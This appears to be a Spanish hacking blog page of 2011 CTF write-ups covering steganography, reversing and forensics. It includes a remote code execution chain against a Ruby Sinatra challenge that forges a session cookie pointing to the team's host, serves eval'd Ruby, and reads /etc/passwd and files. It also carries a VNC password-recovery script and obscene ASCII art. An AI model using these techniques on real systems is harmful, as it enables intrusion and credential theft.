Contenido principal

Resolución: Encuentra las 7 diferencias

Agosto 18, 2011

Luego de un tiempo considerable sin publicar algo, por fin me decido y saco tiempo para investigar y elaborar la resolución para el reto de Encuentras las 7 diferencias, en esta resolución podrán encontrar la forma en la que descubrí la palabra escondida, además de mi investigación sobre un método que fue totalmente nuevo para mí y que es el que más me ha dado dificultad aprender hasta el día de hoy, en resumen, el algoritmo oculta información a través del ordenamiento de listas: teniendo una lista de elementos y re ordenándola según un algoritmo, se pueden esconder bits de información. Este método es similar al algoritmo de cifrado One Time Pad, por lo que para recuperar la información oculta en la lista reordenada, debemos primero tener la lista original.

Las imágenes GIF contienen en su formato, un campo denominado tabla global de colores donde son almacenados todos los colores que contiene la imagen (El tamaño máximo para esta lista es de 256 colores). El programa usado en el reto ordena esta lista de colores en su forma 'natural' (R*65536 + G*256 + B) y luego reordenada estos colores para esconder la información. Luego del reordenamiento se modifican los índices que apuntan a los colores para que la imagen permanezca igual.

Este tipo de método tratado sobre imágenes GIF no altera de ninguna forma su apariencia visual, por lo que ataques estadísticos sobre la misma son inútiles.

Resolución reto número 12: Encuentra las 7 diferencias de hackplayers.blogspot.com

En el archivo comprimido pueden encontrar.
:arrow: La resolución oficial en formato PDF.
:arrow: Las imágenes originales del reto.
:arrow: Un script de mi autoría para comparar imágenes y al mismo tiempo realizar ataques visuales.
:arrow: Un análisis manual sobre como el programa reordena la tabla global de colores.

Archivado en: Esteganografía, Programación, Retos informáticos | Comentarios (3)

WriteUp Pwtent Pwnables 300 - Defcon 2011

Junio 6, 2011

Este fin de semana se dio a cabo la preclasificatorias para Defcon 2011, en total fueron 25 problemas del cual solo resolvimos 8. A continuación la descripción, resolución y respuesta para el reto Pwtent Pwnables 300.

Descripción

What is the id number of the official training manual for ddtek?: pwn508.ddtek.biz:52719

Solución

Al ingresar al sitio web encontramos unas imágenes y un video que no son muy útiles, al poner una dirección no existente el servidor nos redireccionaba a una página decente donde nos mostraba el error, observando el código de esta última página encontramos que una carpeta llamada "__sinatra__" almacen las imágenes para errores del servidor como "Not found" o "Interval server error" con su respectivo código: "400.png" y "500.png".

Ingresando caracteres no permitidos para nombres de archivo en las imágenes (http://pwn508.ddtek.biz:52719/__sinatra__/%00400.png) nos dimos cuenta que el servidor web se trataba de WEBrick y que estaba corriendo la aplicación Sinatra para Ruby.

Sinatra for ruby

En los mensajes de error se podía ver claramente el código usado por la aplicación, por lo que luego de varios intentos y de finalmente entregar una cookie corrupta descubrimos la forma en cómo ésta se estaba codificando:

    puts "did not find session"
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
    b.call

A continuación se presentan los cuatro valores en plano para el anterior hash table, el único valor desconocido es el de la variable "url", el cual obtenemos de la Cookie enviada por el servidor.
El script utilizado para esta parte fue el siguiente

<?php

$content = 'BASE64';
$compressed = base64_decode($content);
$plaintext = gzuncompress($compressed); // similar function to Zlib::Inflate.inflate
echo $plaintext;

Valor 1

eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t

                          _//(
                         oo\\\\
                         <_.\\\
                          \__/"
                          //_`.
      ,@;@,              ||/ )]
     ;@;@( \@;@;@;@;@;@,_|/ / |
     /a `@\_|@;@;@;@(_____.'  |
    /    )@:@;@;@;@/@:@;@#|"""|
    `--"'`;@;@;@;@|@;@;@`==\  )
          `;@;\;@;\;@;@`  || |
            || |   \\ ( __||H|
            || |   // / \=="#'=
            // (  // /   |__V_|
            ''"'  '"'___<<____) (sheep fucker)

Valor 2

eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc

                                         _,-%/%|
                                     _,-'    \//%\
                                 _,-'        \%/|%
                               / / )    __,--  /%\
                               \__/_,-'%(%  ;  %)%
                                       %\%,   %\
                                         '--%' (i don't know what is this)

Valor 3 (Interesante)

mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i => eNpj4VCSySgpKbDS1zc0MtczAEJDK1MjCwMjfQBR/wXC

http://127.0.0.1:52802/

Valor 4

eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ

* g o a t s e x * g o a t s e x * g o a t s e x
g                                               g
o /     \             \            /    \       o
a|       |             \          |      |      a
t|       `.             |         |       :     t
s`        |             |        \|       |     s
e \       | /       /  \\\   --__ \\       :    e
x  \      \/   _--~~          ~--__| \     |    x
*   \      \_-~                    ~-_\    |    *
g    \_     \        _.--------.______\|   |    g
o      \     \______// _ ___ _ (_(__>  \   |    o
a       \   .  C ___)  ______ (_(____>  |  /    a
t       /\ |   C ____)/      \ (_____>  |_/     t
s      / /\|   C_____)       |  (___>   /  \    s
e     |   (   _C_____)\______/  // _/ /     \   e
x     |    \  |__   \\_________// (__/       |  x
*    | \    \____)   `----   --'             |  *
g    |  \_          ___\       /_          _/ | g
o   |              /    |     |  \            | o
a   |             |    /       \  \           | a
t   |          / /    |         |  \           |t
s   |         / /      \__/\___/    |          |s
e  |           /        |    |       |         |e
x  |          |         |    |       |         |x
* g o a t s e x * g o a t s e x * g o a t s e x *
(omg, goatse :|)

El único valor interesante es el tercero, que contiene una dirección local con el puerto 52802. Intentamos conectarnos a dicho puerto pero el firewall o la aplicación no lo permitía, así que lo que hicimos fue modificar el valor de la cookie haciendo que apuntara a nuestra IP y a un puerto específico utilizando el siguiente script para Ruby:

require 'Zlib'
require 'base64'

session = {}

session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"

session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="

session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump('http://1.3.3.7:6047'),9))

session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="

print Base64.encode64(Marshal::dump(session))

Ahora con la cadena apuntando a nuestro servidor podemos modificar la cookie y ver que el servidor se conecta a nuestro servicio usando el protocolo HTTP.
Al responder con cualquier cadena, la aplicación nos retorna un nuevo error, indicando que el contenido tuvo un error en la descompresión

  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp

    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    $stdout.flush

    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))

La respuesta se la debemos entregar comprimida y codificandola con base64

<?php

echo base64_encode(gzcompress("print 'a'"));

A lo que el servidor nos vuelve a sacar un error unas líneas más abajo indicando que el método call no existe en la clase bp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    $stdout.flush

    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
    puts "got proc: #{bp}"
    $stdout.flush

    bp.call

Por lo que Fernando averiguó como crear la clase que al llamar la función call retornara el contenido que deseabamos

<?php

$class = 'class Tits; def self.call;return CODIGO;end; end; bp = Tits'
echo base64_encode(gzcompress($class));

Lo primero que hicimos fue leer el archivo /etc/passwd

//return IO.readlines('/etc/passwd', '').to_s
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
6rJJJ1eF:x:1000:1000::/home/6rJJJ1eF:/bin/sh
pen:x:1001:1001::/home/pen:/bin/sh

Listar el contenido del directorio /home/6rJJJ1eF

//return Dir.entries('/home/6rJJJ1eF').join(' ')
.
..
asshoo
assrck
key
www

Obtener el código de assrck

//return IO.readlines('/home/6rJJJ1eF/assrck', '').to_s
#!/usr/bin/env ruby

# $Rev: 510 $

require 'pp'

require 'base64'
require 'yaml'
require 'zlib'

require 'optparse'

require 'rubygems'
require 'sinatra'
require 'httpclient'

$options = { :port => 52700 }
$options = { :oport => 52800 }

$options[:port] = ARGV[0].to_i if ARGV[0]
$options[:oport] = ARGV[1].to_i if ARGV[1]

$wdir = "./www"

enable :sessions
set :port, $options[:port]
set :bind, "127.0.0.1"
set :static, "true"
set :public, $wdir

puts "i am assrck"

url = "http://127.0.0.1:#{$options[:oport]}/"
get '/' do
  if session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']
    puts "found session"
    #response = HTTPClient::get_content(Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))).chomp

    nurl = Marshal::load(Zlib::Inflate.inflate(Base64.decode64(session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i']).chomp))
    puts "attempting fetch from #{nurl}"
    $stdout.flush

    response = HTTPClient::get_content(nurl).chomp

    mcode = Zlib::Inflate.inflate(Base64.decode64(response))
    puts "got mcode: #{mcode}"
    $stdout.flush

    #bp = eval(Zlib::Inflate.inflate(Base64.decode64(response)))
    bp = eval(mcode)
    puts "got proc: #{bp}"
    $stdout.flush

    bp.call
  else
    puts "did not find session"
    session['eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t'] = "eNqF0M0KwjAMAOCLB9nZBwjZpB1sy92t0KNP4MVK6hPsBfLwptoON5imtBTy9Sc5HO8nbGA3mMhWeN7Nz3PQ+CUmHv4ICMyEPwURx2ERnR99twYiBO2jiFGBheDHZXSsgECKoCdEH1hy2nKKwcAiKC2tv2RA710tiFhE7Hs0sTzwuSk6F/RY9d3SREKePqavpkea9e9BUh8CWGAWucqmGxlQqiE4h7VxG6Epm4Fy5htv7zAGtT5dtNJpSvW21QtSqV5v"
    session['eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtc'] = "eNpj4YjmUTJTIBbE6+iq6qvWcClZEKtcHUTH6OurxhCjCaYBrElVv0aVsCZ9INQE6wVq1gXyibEpJj5eH2SXqoaqgoK1goKqJtAmYoNBNUZVB0xxKZkQHXLqurqq6lwAdh80Ag=="
    session['mh7cJ%h99LPn1zSoh4,42!6e3t78Cw]i'] = Base64.encode64(Zlib::Deflate.deflate(Marshal::dump(url),9))
    session['eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQ'] = "eNqVlD1uwzAMhZcORQ5REFlqF1A4BujQJccoAdqD4dFDMmQgfPZKlKif2EERD7Yl8Ynk+2S/vf9+HM9fMMMCI9zgChPc4d/x4Xie4bVr9poFUN+pWWlGWM8sXjNKGsgzkTSP0WtuFjucGpFs3r71fvOa6wC7ifKI2kKuXjPlMiR1pg0QhWnnmIGoTjR5zT3XTkHCzq1rybYGlaQITXQ/BD5FxG7ds3d1TFmT+RC3ZvHJpevEemlTUvhU4RQjEIHBP/294475J65L5lMB8W5fQmwPEMVRoiJJbJWPeUW6j2q4R9tIJaphLHzMXtSaLxrTFyRdlKj/hY9Z0oXmk8Ya87G+N6zOZOJj7VGoIDhISRLt6Jix5DU+kKiR1TUEm/UcfD4eqMxHMqKIh9lQYT2NPtD4tKczFi+2MbWJjM/OicaCjZo14yN1Dtx8PY3I+MijRO1A4uRYtackPvLYS47bfveS+MjTL3pHE/m8+n/7A+bK++I="
    b = eval(Zlib::Inflate.inflate(Base64.decode64(HTTPClient::get_content(url).chomp)))
    b.call
  end
end

Y por último obtener el contenido del archivo key

//return IO.readlines('/home/6rJJJ1eF/key', '').to_s
ISBN-13: 978-1931993494

Ya podemos obtener nuestro paperback y los 300 puntos :D

Archivado en: Criptografía, Hacking, Retos informáticos, Seguridad | Comentarios (7)

WriteUp I'm feeling lucky - PlaidCTF 2011

Abril 25, 2011

Este fin de semana Plaid Parliament of Pwning fueron los anfitriones del plaid CTF, un concurso donde 440 equipos participaron de una serie de retos dirigidos a entusiastas y profesionales de la seguridad informática.

En total eran 38 retos que se debian resolver en 48 horas, las categorías del concurso fueron: Reversing, Web, Crypto, Trivia, Pwnables y QR Code.

Y pues bueno, un torneo grandioso donde los ganadores demostraron sus habilidades, felicitaciones a ellos y a PPP por tan genial y organizado evento!

Ahora sí, la resolución para el problema número 7: I'm feeling lucky.

WriteUp I'm Feeling lucky

Descripción

We found that one of the executives of AED keeps using 'Fortune Cookie' program everyday before he logs in to his *very* important machine.
We extracted the program, and we are certain that there's a key hidden somewhere in the binary.

Reverse engineer and get the key!

Download
http://www.plaidctf.com/chals/43e842e63a795e8f28739a018de547822382e7d3.exe

Resolución

Bueno, este es un breve resumen de lo que hice para obtener la respuesta del reto.
Lo primero que hice fue localizar el código que se ejecutaba al dar clic al botón con Ollydbg, llegando a la instrucción 00412530.

00412530  /$  68 90000000           PUSH 90
00412535  |.  B8 23DA5000           MOV EAX,43e842e6.0050DA23
0041253A  |.  E8 16550E00           CALL 43e842e6.004F7A55
0041253F  |.  8BF9                  MOV EDI,ECX
00412541  |.  33C0                  XOR EAX,EAX
00412543  |.  8945 F0               MOV [LOCAL.4],EAX
00412546  |.  C745 EC FFFFFF7F      MOV [LOCAL.5],7FFFFFFF
0041254D  |.  8B5D 08               MOV EBX,[ARG.1]
00412550  |.  8945 FC               MOV [LOCAL.1],EAX
00412553  |.  81FB 11010000         CMP EBX,111
00412559  |.  75 22                 JNZ SHORT 43e842e6.0041257D
0041255B  |.  FF75 10               PUSH [ARG.3]
0041255E  |.  8B07                  MOV EAX,DWORD PTR DS:[EDI]
00412560  |.  FF75 0C               PUSH [ARG.2]
00412563  |.  FF90 F4000000         CALL DWORD PTR DS:[EAX+F4]

En la instrucción 00412559 es donde se compara el mensaje enviado con 111 que pertenece a WM_COMMAND (Cuando se presiona el botón).
Luego de numerosas instrucciones el programa llama la función CryptDecrypt pasándole como parámetro general una llave y un texto el cual es luego mostrado como una galleta de la fortuna :)

Identifiqué todos los llamados (En orden de ejecución) a la biblioteca criptográfica de Microsoft teniendo como resultado el siguiente resumen.

4025F0:
CryptAcquireContext
|Arg1 = 0012FE40 phProv
|Arg2 = 00000000 pszContainer
|Arg3 = 00000000 pszProvider
|Arg4 = 00000001 dwProvType
\Arg5 = F0000000 dwFlags

CryptCreateHash
|Arg1 = 00188DD0 hProv
|Arg2 = 00008003 Algid (CALG_MD5)
|Arg3 = 00000000 hKey
|Arg4 = 00000000 dwFlags
\Arg5 = 0012FE48 phHash

401140:
CryptDestroyHash
\Arg1 = 00186F70 hHash

CryptCreateHash
|Arg1 = 00188DD0 hProv
|Arg2 = 00008003 Algid (CALG_MD5)
|Arg3 = 00000000 hKey
|Arg4 = 00000000 dwFlags
\Arg5 = 0012FE48 phHash

CryptHashData
|Arg1 = 00186F70 hHash
|Arg2 = 00B7ADD0 pbData (This is the key, but this is not the key you are looking for :p)
|Arg3 = 0000003F dwDataLen (63)
\Arg4 = 00000000 dwFlags

CryptDeriveKey
|Arg1 = 00188DD0 hProv
|Arg2 = 00006602 Algid (CALG_RC2)
|Arg3 = 00186F70 hBaseData
|Arg4 = 00000001 dwFlags
\Arg5 = 0012FE44 phKey

00412530:
CryptDecrypt
|Arg1 = 00189368 hKey
|Arg2 = 00000000 hHash
|Arg3 = 00000001 Final
|Arg4 = 00000000 dwFlags
|Arg5 = 00B7F570 pbData
\Arg6 = 0012F664 pdwDataLen

Luego simulé el funcionamiento y extraje la cadenas cifradas que se localizaban en el offset 140D18 del archivo ejecutable.

Creé un programa en C++ y un script en PHP que leyera archivos binarios e hiciera split (Disculpa a los lectores si la solución es un poco ortodoxa).

#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <wincrypt.h>

int main(int argc, char* argv[]) {
    HCRYPTPROV hCryptProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

    CryptAcquireContext(&hCryptProv, 0, 0, 1, 0xF0000000);
    CryptCreateHash(hCryptProv, CALG_MD5, 0, 0, &hHash);

    BYTE *pbBuffer = (BYTE *)"This is the key, but this is not the key you are looking for :p";
    DWORD dwBufferLen = strlen((char *)pbBuffer);

    CryptHashData(hHash, pbBuffer, dwBufferLen, 0);
    CryptDeriveKey(hCryptProv, CALG_RC2, hHash, 1, &hKey);

    FILE *fp = fopen("filetmp.hex", "rb");

    fseek(fp, 0, SEEK_END);
    ULONG size = ftell(fp);
    unsigned char *buffer = (unsigned char*) calloc(size, sizeof(char));
    rewind(fp);
    fread(buffer, size, 1, fp);
    fclose(fp);

    CryptDecrypt(hKey, 0, 1, 0, buffer, &size);

    printf("%s\n", buffer);
    return 0;
}

Y el script de PHP que ejecutaba el anterior código

<?php
$file = file_get_contents('strings.hex'); // Obtain all ciphered strings
$file = str_replace("\x00\x00\x00\x00\x00\x00\x00\x00", "\x00\x00\x00\x00", $file);
$file = explode("\x00\x00\x00\x00", $file); // Split based on null chars
foreach ($file as $line) { // Loop through all strings
    file_put_contents("filetmp.hex", $line); // Save the string in temporal file
    system("mission7.exe"); // Call mission7 executable
}

La respuesta se encontraba en una de las últimas galletas de la fortuna :D

Your character can be described as natural and unrestrained.
Your difficulties will strengthen you.
Oh YEAH, this is THE k3y U r L0ok1ng FOr :)
Your dreams are worth your best efforts to achieve them.
Your energy returns and you get things done.

Respuesta

Oh YEAH, this is THE k3y U r L0ok1ng FOr :)

Archivado en: Criptografía, Ingeniería Inversa, Programación | Comentarios (5)

WriteUp Forensic100 - Nuit Du Hack 2011

Abril 3, 2011

Este fin de semana se llevó a cabo las prequals para Nuit Du Hack, una de las conferencias de seguridad informática más antiguas de Francia.
La modalidad de la prequal: CTF, que consiste en una serie de retos donde se debe encontrar una bandera para ir escalando posiciones en el ranking.

En este caso nos enfrentamos a doce retos en cuatro categorías, este es el resumen de los retos que logramos realizar, logrando 1400 puntos y ocupando el puesto número doce.
Web
:arrow: Inyección + serialize
:arrow: Inyección a través de imágenes
:arrow: Inyección a través de cookies

Forensics
:arrow: Análisis del dump de memoria encontrando la clave del servidor VNC
:arrow: Obtención de clave de usuario encontrada en ntds.dit (Active Directory)
:arrow: Análisis del dump de memoria encontrando el proceso sospechoso

Crypto
:arrow: Texto cifrado con Vigenere

RCE
:arrow: Ingeniería inversa al archivo para encontrar la clave de acceso
:arrow: Ingeniería inversa a una aplicación para Android
:arrow: Ingeniería inversa a un juego para Nintendo DS

WriteUp Forensic100

Descripción

We have dumped the RAM of a Machine on which was running a VNC server.
The goal is to get the password of that VNC server.

Resolución

Lo primero que hice fue descargar una herramienta que me permitiera por cada proceso separar la memoria que ocupaba en el dump de la RAM, tal herramienta se llama Memoryze.
Entre las características de Memoryze podemos encontrar que puede listar el espacio de direcciones virtuales y mostrar tanto las DLLs cargadas como las porciones de memoria del programa deseado.

Memoryze trae una serie de archivos batch que nos ayudan a obtener estos espacios de memoria, se usó el archivo ProcessDD.bat de la siguiente forma:
ProcessDD.bat -input C:\dump.raw -process winvnc4.exe

El programa creó una carpeta de auditoría que contenía:
:arrow: El programa ejecutable
:arrow: Las bibliotecas cargadas por el programa
:arrow: La pila de ejecución del programa
:arrow: Los resultados del análisis

Como mi especialidad no es el análisis forense lo que hice fue un ataque de fuerza bruta sobre la pila de ejecución del programa (Archivos .VAD) en busca de 8 bytes que representan la contraseña cifrada del servidor VNC.

La contraseña es cifrada mediante el algoritmo DES (Modo ECB) usando la llave fija "\x17\x52\x6B\x06\x23\x4E\x58\x07" a la que anteriormente se reversó cada uno de sus bits (En el código pueden ver la función bit_mirror usada para reversar los bits de una cadena)

El código usado para hacer fuerza bruta fue el siguiente

<?php
//Fixed key with reversed bits
$key = bit_mirror("\x17\x52\x6B\x06\x23\x4E\x58\x07");
//Directory of audit generated by Memoryze
$audit_dir = "./20110401234944";
$d = dir($audit_dir);
//Loop through files in audit directory
while (false !== ($entry = $d->read())) {
    if ($entry != '.' && $entry != '..' && substr($entry, -3) == 'VAD') {
        //Read virtual address descriptor
        $file = file_get_contents("./20110401234944/$entry");
        //Obtain eight bytes that could match VNC password hash
        preg_match_all('/\x00([\x00-\xff]{8})/', $file, $match);
        //Loop through hashes
        foreach ($match[1] as $hash) {
            $decrypted = mcrypt_decrypt(MCRYPT_DES, $key, $hash, MCRYPT_MODE_ECB);
            //Save possible answer if decrypted text contains printable characters
            if (printable($decrypted))
                file_put_contents('possible_answers_vnc.txt', $decrypted . "\n", FILE_APPEND);
        }
    }
}
//Return true if all characters in string are printable
function printable($string) {
    $len = strlen($string);
    for ($i = 0; $i < $len; $i++) {
        if (ord($string[$i]) < 32 || ord($string[$i]) > 127)
            return false;
    }
    return true;
}
//Return string with reversed bits
function bit_mirror($str) {
    $tmp = '';
    $len = strlen($str);
    for ($i = 0; $i < $len; $i++) {
        $ord = ord($str[$i]);
        $tmp .= chr((($ord * 0x0802 & 0x22110) | ($ord * 0x8020 & 0x88440)) * 0x10101 >> 16);
    }
    return $tmp;
}

Al realizar el ataque por fuerza bruta encontramos en el archivo "possible_answers_vnc.txt" las posibles contraseñas para el servidor VNC
Q\D!J>'
*@W+SZXT
f-XjyB9E
rgO.;o1k
K]oo=~W`
f-XjyB9E
&dSD uNT
secretpq
b#<1?~_#
\q*QqXh

La contraseña usada entonces fue "secretpq" que corresponde al hash "\xDA\x6E\x31\x84\x95\x77\xAD\x6B" y que además se encuentra en el archivo "1696__SystemMemory%5c0x008c0000-0x008cffff.VAD"

Bandera

secretpq

Archivado en: Criptografía, Programación, Retos informáticos, Seguridad | Comentarios (4)

WriteUp Forensics300 - Codegate 2011

Marzo 6, 2011

Este fin de semana nuestro grupo NULL-Life estuvo participando en el juego captura la bandera (CTF) de Codegate 2011.
Las categorías en esta ocasión fueron Vulnerab, Binary, Crypto, Forensics, Network e Issues.
De los 27 problemas planteados solo alcanzamos a realizar 14 para un total de 2600 puntos y lograr la posición 30 de 178 equipos que participaron, inclusive llegamos a quedar como el primer equipo de latinos, así que muchos ánimos para los integrantes del equipo, hay restos de cosas por mejorar!
También debo aclarar que el grupo no representa ninguna institución/región/país y que los integrantes somos de diferentes países incluyendo a Argentina, Colombia, México y Perú.

Fernando ha publicado un corto artículo sobre nuestra participación.

Sin más que decir, les presento la forma en que desarrollamos el tercer reto de la categoría Forensics.

Descripción

we are investigating the military secret's leaking.
we found traffic with leaking secrets while monitoring the network.
Security team was sent to investigate, immediately. But, there was no one present.
It was found by forensics team that all the leaked secrets were completely deleted by wiping tool.
And the team has found a leaked trace using potable device.
Before long, the suspect was detained. But he denies allegations.

Now, the investigation is focused on potable device.
The given files are acquired registry files from system.
The estimated time of the incident is Mon, 21 February 2011 15:24:28(KST).
Find a trace of portable device used for the incident.

The Key : "Vendor name" + "volume name" + "serial number" (please write in capitals)

Down (Archivo F8884B5396EAFE05E798BAB5F19D2E3F en Repositorio Codegate 2011)

Resolución

Extraemos los archivos quedando con la siguiente estructura


Cada archivo es de tipo Windows NT Registry Hive o "grupo lógico de claves, subclaves y valores en el registro que tienen un conjunto de archivos de soporte que contienen respaldos de sus datos".

Debemos primero buscar un editor de estos tipos de archivo encontrando la publicación de Nuno Brito con su editor de registro en crudo y la de erwan.l con su editor offline usando la librería de Windows Offreg.dll

Luego de abrir alguno de los registros y siguiendo la descripción, debemos encontrar un dispositivo extraíble el cual fue conectado al equipo y que posiblemente fue el causante del incidente. Suponemos que fue el último dispositivo conectado.

Buscando localmente encontré dos claves donde se guardan los dispositivos en el registro.
HKLM\SOFTWARE\Microsoft\Windows Portable Devices\Devices
HKLM\SYSTEM\ControlSet001\Enum\WpdBusEnumRoot\UMB

Con la utilidad de Nuno Brito debemos habilitar la opción Show Details desde el menú Options -> Configuration para obtener la fecha de modificación de la clave escogida.

Podemos ver la diferencia entre ver el tiempo de modificación desde un editor hexadecimal y desde la herramienta de Nuno.

Buscamos el último dispositivo conectado guiándonos con el timestamp y encontramos la clave

La respuesta como nos pide el problema es: Nombre del fabricante + Nombre del volumen o label + Serial del dispositivo.

Respuesta

CORSAIRPR0N33RDDF08FB7A86075

Archivado en: Retos informáticos, Seguridad | Comentarios (8)